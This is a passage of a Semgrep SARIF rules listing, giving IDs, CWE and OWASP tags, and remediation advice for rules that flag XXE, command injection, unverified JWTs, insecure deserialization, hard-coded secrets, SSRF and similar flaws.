prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring","id":"java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring","name":"java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-validator-xxe-spring.tainted-validator-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Request data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list. See https://owasp.org/www-community/attacks/Command_Injection for more information."},"help":{"markdown":"Request data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list. See https://owasp.org/www-community/attacks/Command_Injection for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.command.command-injection-os-system.command-injection-os-system)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n","text":"Request data detected in os.system. This could be vulnerable to a command injection and should be avoided. If this must be done, use the 'subprocess' module instead and pass the arguments as a list. See https://owasp.org/www-community/attacks/Command_Injection for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.command.command-injection-os-system.command-injection-os-system","id":"python.django.security.injection.command.command-injection-os-system.command-injection-os-system","name":"python.django.security.injection.command.command-injection-os-system.command-injection-os-system","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.command.command-injection-os-system.command-injection-os-system"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Set 'verify' to `true` before using the token."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Set 'verify' to `true` before using the token.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify)\n - [https://www.npmjs.com/package/jwt-simple](https://www.npmjs.com/package/jwt-simple)\n - [https://cwe.mitre.org/data/definitions/287](https://cwe.mitre.org/data/definitions/287)\n - [https://cwe.mitre.org/data/definitions/345](https://cwe.mitre.org/data/definitions/345)\n - [https://cwe.mitre.org/data/definitions/347](https://cwe.mitre.org/data/definitions/347)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Set 'verify' to `true` before using the token."},"helpUri":"https://semgrep.dev/r/javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify","id":"javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify","name":"javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","CWE-345: Insufficient Verification of Data Authenticity","CWE-347: Improper Verification of Cryptographic Signature","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jwt-simple.security.jwt-simple-noverify.jwt-simple-noverify"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django","id":"python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django","name":"python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-pandas-hdf-django.tainted-pandas-hdf-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected the use of an insecure deserialization library in a Flask route. These libraries are prone to code execution vulnerabilities. Ensure user data does not enter this function. To fix this, try to avoid serializing whole objects. Consider instead using a serializer such as JSON."},"help":{"markdown":"Detected the use of an insecure deserialization library in a Flask route. These libraries are prone to code execution vulnerabilities. Ensure user data does not enter this function. To fix this, try to avoid serializing whole objects. Consider instead using a serializer such as JSON.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.insecure-deserialization.insecure-deserialization)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Detected the use of an insecure deserialization library in a Flask route. These libraries are prone to code execution vulnerabilities. Ensure user data does not enter this function. To fix this, try to avoid serializing whole objects. Consider instead using a serializer such as JSON."},"helpUri":"https://semgrep.dev/r/python.flask.security.insecure-deserialization.insecure-deserialization","id":"python.flask.security.insecure-deserialization.insecure-deserialization","name":"python.flask.security.insecure-deserialization.insecure-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.insecure-deserialization.insecure-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-empty-password.node-knex-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-empty-password.node-knex-empty-password","id":"javascript.knex.node-knex-empty-password.node-knex-empty-password","name":"javascript.knex.node-knex-empty-password.node-knex-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-empty-password.node-knex-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","id":"kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","name":"kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of noassert in Buffer API, which allows the offset the be beyond the end of the buffer. This could result in writing or reading beyond the end of the buffer."},"help":{"markdown":"Detected usage of noassert in Buffer API, which allows the offset the be beyond the end of the buffer. This could result in writing or reading beyond the end of the buffer.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert)\n - [https://cwe.mitre.org/data/definitions/119.html](https://cwe.mitre.org/data/definitions/119.html)\n","text":"Detected usage of noassert in Buffer API, which allows the offset the be beyond the end of the buffer. This could result in writing or reading beyond the end of the buffer."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert","id":"javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert","name":"javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert","properties":{"precision":"very-high","tags":["CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-buffer-noassert.detect-buffer-noassert"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Registering the identity used by an App with AD allows it to interact with other services without using username and password. Set the `identity` block in your appservice."},"help":{"markdown":"Registering the identity used by an App with AD allows it to interact with other services without using username and password. Set the `identity` block in your appservice.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#identity](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#identity)\n","text":"Registering the identity used by an App with AD allows it to interact with other services without using username and password. Set the `identity` block in your appservice."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered","id":"terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered","name":"terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-account-identity-registered.appservice-account-identity-registered"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests","id":"python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests","name":"python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-requests.tainted-flask-http-request-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret","id":"kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret","name":"kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.apache-hardcoded-empty-secret.apache-hardcoded-empty-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration leverages the in-built public key pinning mechanisms however has pins which are Certificate Authority Identities, rather than Leaf Identities. Trusting a Certificate Authority is much more lenient than trusting a single leaf identity. Consider pinning to leaf identities rather than CA, following the principle of least privelege."},"help":{"markdown":"The application's App Transport Security (ATS) configuration leverages the in-built public key pinning mechanisms however has pins which are Certificate Authority Identities, rather than Leaf Identities. Trusting a Certificate Authority is much more lenient than trusting a single leaf identity. Consider pinning to leaf identities rather than CA, following the principle of least privelege.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-pins.ATS-CA-pins)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration leverages the in-built public key pinning mechanisms however has pins which are Certificate Authority Identities, rather than Leaf Identities. Trusting a Certificate Authority is much more lenient than trusting a single leaf identity. Consider pinning to leaf identities rather than CA, following the principle of least privelege."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-pins.ATS-CA-pins","id":"swift.insecure-communication.ats.ats-pins.ATS-CA-pins","name":"swift.insecure-communication.ats.ats-pins.ATS-CA-pins","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-pins.ATS-CA-pins"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS CodeBuild Project is unencrypted. The AWS KMS encryption key protects projects in the CodeBuild. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS CodeBuild Project is unencrypted. The AWS KMS encryption key protects projects in the CodeBuild. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS CodeBuild Project is unencrypted. The AWS KMS encryption key protects projects in the CodeBuild. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted","id":"terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted","name":"terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-codebuild-project-unencrypted.aws-codebuild-project-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.openai.openai-hardcoded-secret.openai-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.openai.openai-hardcoded-secret.openai-hardcoded-secret","id":"python.openai.openai-hardcoded-secret.openai-hardcoded-secret","name":"python.openai.openai-hardcoded-secret.openai-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.openai.openai-hardcoded-secret.openai-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"$VAULT.getPoolTokens() call on a Balancer pool is not protected from the read-only reentrancy."},"help":{"markdown":"$VAULT.getPoolTokens() call on a Balancer pool is not protected from the read-only reentrancy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens)\n - [https://quillaudits.medium.com/decoding-sentiment-protocols-1-million-exploit-quillaudits-f36bee77d376](https://quillaudits.medium.com/decoding-sentiment-protocols-1-million-exploit-quillaudits-f36bee77d376)\n - [https://hackmd.io/@sentimentxyz/SJCySo1z2](https://hackmd.io/@sentimentxyz/SJCySo1z2)\n","text":"$VAULT.getPoolTokens() call on a Balancer pool is not protected from the read-only reentrancy."},"helpUri":"https://semgrep.dev/r/solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens","id":"solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens","name":"solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.balancer-readonly-reentrancy-getpooltokens.balancer-readonly-reentrancy-getpooltokens"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent  over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"help":{"markdown":"Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent  over an insecure channel. Instead, it is recommended to send requests over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection()](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection())\n","text":"Detected an HTTP request sent via HttpGet. This could lead to sensitive information being sent  over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.httpget-http-request.httpget-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects potential Google Maps API keys in code"},"help":{"markdown":"Detects potential Google Maps API keys in code\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak)\n - [https://ozguralp.medium.com/unauthorized-google-maps-api-key-usage-cases-and-why-you-need-to-care-1ccb28bf21e](https://ozguralp.medium.com/unauthorized-google-maps-api-key-usage-cases-and-why-you-need-to-care-1ccb28bf21e)\n","text":"Detects potential Google Maps API keys in code"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak","id":"generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak","name":"generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak","properties":{"precision":"very-high","tags":["CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory","MEDIUM CONFIDENCE","OWASP-A3:2017 Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.google-maps-apikeyleak.google-maps-apikeyleak"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django","id":"python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django","name":"python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.code.tainted-code-stdlib-django.tainted-code-stdlib-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The Mustache escape function is being overwritten. This could bypass HTML escaping safety measures built into the rendering engine, exposing your application to cross-site scripting (XSS) vulnerabilities. If you need unescaped HTML, use the triple brace operator in your template: '{{{ ... }}}'."},"help":{"markdown":"The Mustache escape function is being overwritten. This could bypass HTML escaping safety measures built into the rendering engine, exposing your application to cross-site scripting (XSS) vulnerabilities. If you need unescaped HTML, use the triple brace operator in your template: '{{{ ... }}}'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite)\n - [https://github.com/janl/mustache.js/#variables](https://github.com/janl/mustache.js/#variables)\n","text":"The Mustache escape function is being overwritten. This could bypass HTML escaping safety measures built into the rendering engine, exposing your application to cross-site scripting (XSS) vulnerabilities. If you need unescaped HTML, use the triple brace operator in your template: '{{{ ... }}}'."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite","id":"javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite","name":"javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.mustache.escape-function-overwrite.escape-function-overwrite"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a debug template tag in a Django template. This dumps debugging information to the page when debug mode is enabled. Showing debug information to users is dangerous because it may reveal information about your environment that malicious actors can use to gain access to the system. Remove the debug tag."},"help":{"markdown":"Detected a debug template tag in a Django template. This dumps debugging information to the page when debug mode is enabled. Showing debug information to users is dangerous because it may reveal information about your environment that malicious actors can use to gain access to the system. Remove the debug tag.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.templates.debug-template-tag.debug-template-tag)\n - [https://docs.djangoproject.com/en/4.2/ref/templates/builtins/#debug](https://docs.djangoproject.com/en/4.2/ref/templates/builtins/#debug)\n - 